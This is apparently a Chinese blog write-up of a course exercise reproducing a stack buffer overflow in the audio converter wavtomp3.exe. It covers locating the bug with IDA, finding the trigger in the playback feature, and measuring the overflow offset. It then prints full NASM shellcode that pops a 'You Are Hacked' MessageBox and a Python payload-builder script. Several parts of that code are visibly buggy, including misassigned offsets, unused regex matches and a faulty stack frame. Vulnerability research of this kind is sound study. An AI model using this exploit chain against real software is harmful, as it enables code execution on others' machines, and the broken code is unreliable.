一个栈溢出漏洞的复现

存在漏洞的软件

软件是一款音频格式转化软件,名字叫做:wavtomp3.exe,界面如下所示:
在这里插入图片描述

过程记录

定位漏洞点

其实课件中给出的漏洞点代码由于只有伪代码,所以信息量很少,但是万幸的是观察给出的关键漏洞点代码,可以看到在循环的时候会进行一个判断,判断的时候调用了sub_4B9C6C这个函数。
在这里插入图片描述这就给出了一个思路就是利用sub_4B9C6C这个信息点和IDA的交叉引用功能找到这个漏洞点对应的VA。
在这里插入图片描述
运气比较好的是,这个函数在整个主模块中被调用的次数比较少,可以手工进行比对,否则就将IDA的伪代码人工转化成汇编代码并编写一个IDA的脚本进行比对了。
人工一一比对完着五个交叉引用,可以找到对应的漏洞点。
在这里插入图片描述该函数的起始地址为4BA820。
这里说一下题外话就是usercall这个调用约定:usercall调用约定是特定于编译器的,该调用约定仅在编译器开启了完全优化选项后使用,其特点是使用任意寄存器传值,其约定的有效范围为编译器特定的。
回到主题,和漏洞点的伪代码对应的汇编代码如下:
在这里插入图片描述找到了漏洞点后就可以在ollydbg\windbg中对应的VA处下断点了。

定位触发漏洞的动作

当拿到漏洞VA后,就要思考到底是什么动作才能触发这个漏洞,一般来说完成这步的思路有三种,两大类:

  • 通过IDA进行分析,找到类似于获取文本框字符、打开文件等特征函数并结合应用找到触发漏洞的动作;
  • 通过在应用中不断进行手工尝试来找到触发动作;
  • 利用现有的模糊测试框架来自动化遍历所有路径;

自动化的这种测试方法比较麻烦,所以我这里先尝试一下手工分析。分析IDA的调用图,可以看到信息比较少。
在这里插入图片描述
上层函数只有一层而且同样没有符号信息,并且4b9d08这个函数是以函数指针方式调用的,这意味着单纯的静态分析不能分析出到达触发漏洞这条路径的动作。
接下来理一下思路,在漏洞触发的伪代码中,这个循环明显是在进行v30变量的拷贝或者是校验,再加上v30这个变量是在栈中分配的,所以进行这段代码的作用是拷贝的可能比较大,而考虑到分配的空间比较大,这段拷贝很可能是针对字符串或者是文件的。‘
接下来观察一下应用,可以看到这个应用是一个将WAV转化为MP3的应用,并且页面比较简单,则代表我们手工进行测试的工作量是比较小的。
在这里插入图片描述和Option选项
在这里插入图片描述
那就下断点试试吧。
最后发现触发漏洞的动作是在加载了音乐文件后的播放功能中。
在这里插入图片描述而且漏洞点和上述的漏洞点不太一样,真正的漏洞点是if-else的另外一条分支,但是都是溢出漏洞,区别不大。
在这里插入图片描述当拷贝完成后,可以看到V30变量的内容和文件内容是一致的。
在这里插入图片描述在这里插入图片描述

漏洞利用方式的确认

在IDA里面检查security函数字段,并没有发现针对栈溢出的保护函数,所以可以断言本应用并没有打开对应的GS保护选项。
在这里插入图片描述
那么就可以简单的使用栈溢出来进行任意代码执行了。首先定位一下溢出函数rtn指令的栈地址0019FA60
在这里插入图片描述
并确认一下缓冲区的首地址0019EA40
在这里插入图片描述

两者相减就是Shellcode+Padding所需要占满的空间

ShellCode的编写

ShellCode的编写可以看这一篇文章https://blog.csdn.net/x_nirvana/article/details/68921334
总结来说需要注意以下几点:

  1. 不能使用直接偏移,因为ShellCode在内存中的地址可能是不确定的;
  2. 不能直接调用系统API,因为这些API对应的DLL库可能还没有载入内存
  3. 在ShellCode中不能存在'\0'这样的特殊字符出现,因为如strcpy这样的函数可能会对'\0'字符进行截断,造成Payload的不完整
  4. 对于段内的jmpcall指令,由于采用的相对寻址,可以在ShellCode中直接使用

在上面那一篇文章中对第二和第三点解决的比较好,但是第一点问题作者采取的方法是直接不使用变量和字符串,但是个人感觉这种方法太过于反人类,所以我对作者的ShellCode汇编代码进行了一定的魔改,如下:

call BaseAddr

BaseAddr:

pop ebx

push ebx

jmp RealStart

;数据区

GetProcAddress_F_Offset equ $-BaseAddr

GetProcAddress_F:dd '0'

LoadLibrary_F_Offset equ $-BaseAddr

LoadLibrary_F:dd '0'

User32_Str_Offset equ $-BaseAddr

User32_Str:db 'User32.dll$'

MessageBox_A_Offset equ $-BaseAddr

MessageBox_A_:db'MessageBoxA$'

User32_Base_Offset equ $-BaseAddr

User32_Base:dd'0'

Hack_String_Offset equ $-BaseAddr

Hack_String:dd'You Are Hacked !$'



;数据区

RealStart:

xor ecx, ecx

mov eax, [fs: ecx + 0x30] ; EAX = PEB

mov eax, [eax + 0xc]     ; EAX = PEB->Ldr

mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder

lodsd                    ; EAX = Second module

xchg eax, esi            ; EAX = ESI, ESI = EAX

lodsd                    ; EAX = Third(kernel32)

mov ebx, [eax + 0x10]    ; EBX = Base address

mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew

add edx, ebx             ; EDX = PE Header

mov edx, [edx + 0x78]    ; EDX = Offset export table

add edx, ebx             ; EDX = Export table

mov esi, [edx + 0x20]    ; ESI = Offset namestable

add esi, ebx             ; ESI = Names table

xor ecx, ecx             ; EXC = 0



Get_Function:



inc ecx                              ; Increment the ordinal

lodsd                                ; Get name offset

add eax, ebx                         ; Get function name

cmp dword [eax], 0x50746547       ; GetP

jnz Get_Function

cmp dword [eax + 0x4], 0x41636f72 ; rocA

jnz Get_Function

cmp dword [eax + 0x8], 0x65726464 ; ddre

jnz Get_Function

mov esi, [edx + 0x24]                ; ESI = Offset ordinals

add esi, ebx                         ; ESI = Ordinals table

mov cx, [esi + ecx * 2]              ; Number of function

dec ecx

mov esi, [edx + 0x1c]                ; Offset address table

add esi, ebx                         ; ESI = Address table

mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)

add edx, ebx                         ; EDX = GetProcAddress



push ebx

add esp,4

pop ebx

mov [ebx+GetProcAddress_F_Offset],edx

push ebx

sub esp,4

pop ebx







xor ecx, ecx    ; ECX = 0

push ebx        ; Kernel32 base address

push edx        ; GetProcAddress

push ecx        ; 0

push 0x41797261 ; aryA

push 0x7262694c ; Libr

push 0x64616f4c ; Load

push esp        ; "LoadLibrary"

push ebx        ; Kernel32 base address

call edx        ; GetProcAddress(LL)

add esp, 0xc    ; pop "LoadLibrary"

pop ecx         ; ECX = 0

add esp,8

pop ebx

mov [ebx+LoadLibrary_F_Offset],eax

push ebx

sub esp,8



mov edx,ebx

add edx,User32_Str_Offset

push edx

call Replace_0

add esp,4

push ebx

push edx

mov edx,[ebx+LoadLibrary_F_Offset]

call edx

pop ebx;加载user32.dll

mov [ebx+User32_Base_Offset],eax



mov edx,ebx

add edx,MessageBox_A_Offset

push edx

call Replace_0

add esp,4

push edx

mov  edx,[ebx+User32_Base_Offset]

push edx

mov  edx,[ebx+GetProcAddress_F_Offset];MessageBox_A_

call edx

mov [ebx+MessageBox_A_Offset],eax



mov edx,ebx

add edx,Hack_String_Offset

push edx

call Replace_0

add esp,4

push 0

push edx

push edx

push 0

mov eax,[ebx+MessageBox_A_Offset]

call eax





mov edx,[ebx+GetProcAddress_F_Offset]

call edx

add esp,4

pop ebx;加载user32.dll



mov edx,[ebx+LoadLibrary_F_Offset]



Replace_0:

push esp

mov ebp,esp

mov eax,[ebp+8]

Replace_0_loop:

cmp byte [eax],'$'

jz Replace_0_Ret

inc eax

jmp Replace_0_loop

Replace_0_Ret:

mov byte[eax],0

mov eax,0

mov esp,ebp

pop esp

ret

其思路是利用call指令将ShellCode执行时的基址保存在某个寄存器,如ebx中,之后的变量寻址都使用以基址寻址这种方式进行。同时如果变量中必须要存在0字节的话也需要在运行时修改,如我编写的Shellcode中Repalce_0的作用就是将字符串的结束符号'$'(自定义)修改为'\0'

重复造轮子之Padload的自动化编写

由于ShellCode编写->人工分析、拷贝字节码->拼接padding->payload生成这一条路线太过于智障而且效率低下,我这里制作了一个将后面三步流程打包的一个Python小脚本,其实网络上也不是没有类似于这样的工具,但是搜索下来发现资料较少,而且对于新用户不太友好,所以自己重新造了一个轮子,如下所示:

import os
import re
class ExpProcessor:
    ExpFilePath=""
    OutPutFile=""
    ShellCodePath=""
    TmpPath=os.getcwd()+"NasmTmp.asm"
    TmpObjPath=os.getcwd()+"ExpObj.o"
    TmpDisassemblyPath=os.getcwd()+"ExpDisassembly.txt"
    TmpElfHeaderPath=os.getcwd()+"ElfHeaderInformation.txt"
    ShellCodeBeginIndex="ShellcodeBegin"
    ShellCodeEndIndex="ShellcodeEnd"
    ShellCode=bytearray()
    BeginOffset=0
    EndOffset=0
    TextSeg_Offset=0
    Length=0
    ShellCode_VA=0
    def __init__(self,FilePath):
        self.ShellCode=FilePath
    def __Nasm(self):
        os.system("nasm -f elf {} -o {}".format(self.TmpPath,self.TmpObjPath))

    def __Splicing(self):
        with open(self.TmpPath,'w') as TmpFile:
            TmpFile.write("global start\n")
            TmpFile.write("start:\n")
            TmpFile.write("nop\n")
            TmpFile.write("{}:\n".format(self.ShellCodeBeginIndex))
            ShellCodeTxt=""
            with open(self.ShellCodePath,'r') as ShellcodeFile:
                ShellCodeTxt=ShellcodeFile.read()
            TmpFile.write(ShellCodeTxt+'\n')
            TmpFile.write("{}:\n".format(self.ShellCodeEndIndex))
        
    def __Get_ShellCode_Offset(self):
        os.system("objdump -d -f {} >> {}".format(self.TmpObjPath,self.TmpDisassemblyPath))
        Disassembly=""
        with open(self.TmpDisassemblyPath,'r') as DisassemblyFile:
            Disassembly=DisassemblyFile.readline()
            if(re.search(r'[0-9A-Fa-f]{8}\s{1}\<ShellcodeBegin>:{1}',Disassembly)):
                BeginOffset=re.search(r'[0-9A-Fa-f]*',Disassembly)
                self.BeginOffset=int(BeginOffset,16)
            if(re.search(r'[0-9A-Fa-f]{8}\s{1}\<ShellcodeEnd>:{1}',Disassembly)):
                EndOffset=re.search(r'[0-9A-Fa-f]*',Disassembly)
                self.BeginOffset=int(EndOffset,16)
    def __Get_TextSegment_Offset(self):
        os.system("readelf -S {} >> {}".format(self.TmpObjPath,self.TmpElfHeaderPath))
        with open(self.TmpElfHeaderPath,'r') as ElfHeader_File:
            line=ElfHeader_File.readline()
            if(line.find(".text")):
                self.TextSeg_Offset=int(re.search(r'[0-9a-fA-F]{8}\s([0-9a-fA-F]+)\s',line).group(1),16)
    def Set_Length(self,Length):
        self.Length=Length

    def Set_ShellVA(self,VA):
        self.ShellCode_VA=int.to_bytes(VA,4,'little')

    def __Get_ShellCode(self):
        self.__Splicing()
        self.__Nasm()
        self.__Get_ShellCode_Offset()
        self.__Get_TextSegment_Offset()
        with open(self.TmpObjPath,'rb') as Bin_File:
            Bin_File.seek(self.TextSeg_Offset+self.BeginOffset,0)
            for i in range(self.BeginOffset,self.EndOffset):
                self.ShellCode=self.ShellCode+Bin_File.read(1)
    
    def Process_ShellCode(self):
        self.__Get_ShellCode()
        
    def Get_ShellCode_C(self,FilePath=None):
        ShellCode="\nunsigned int ShellCode=[\n"
        for i in self.ShellCode:
            Tmp=i
            Tmp=int.from_bytes(Tmp,'little',signed=False)
            Tmp=hex(Tmp)
            ShellCode=ShellCode+Tmp+','
            ShellCode=ShellCode[:-1]
            print(ShellCode)
            if(FilePath):
                with open(FilePath,'w') as OutFile:
                    OutFile.write(ShellCode)
        return ShellCode

    def Get_Exp_File(self,FilePath):
        with open(FilePath,'wb') as OutFile:
            for i in self.ShellCode:
                OutFile.write(i)
            for i in range(0,self.Length-len(self.ShellCode)-4):
                OutFile.write(b'A')
            for i in range(0,4):
                OutFile.write(b'B')
            for i in self.ShellCode_VA:
                OutFile.write(i)

该脚本需要运行在安装有Nasm和ObjDump的环境之下,并需要给出缓冲区首地址和缓冲区首地址到溢出点(栈返回地址、异常处理指针)的长度。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值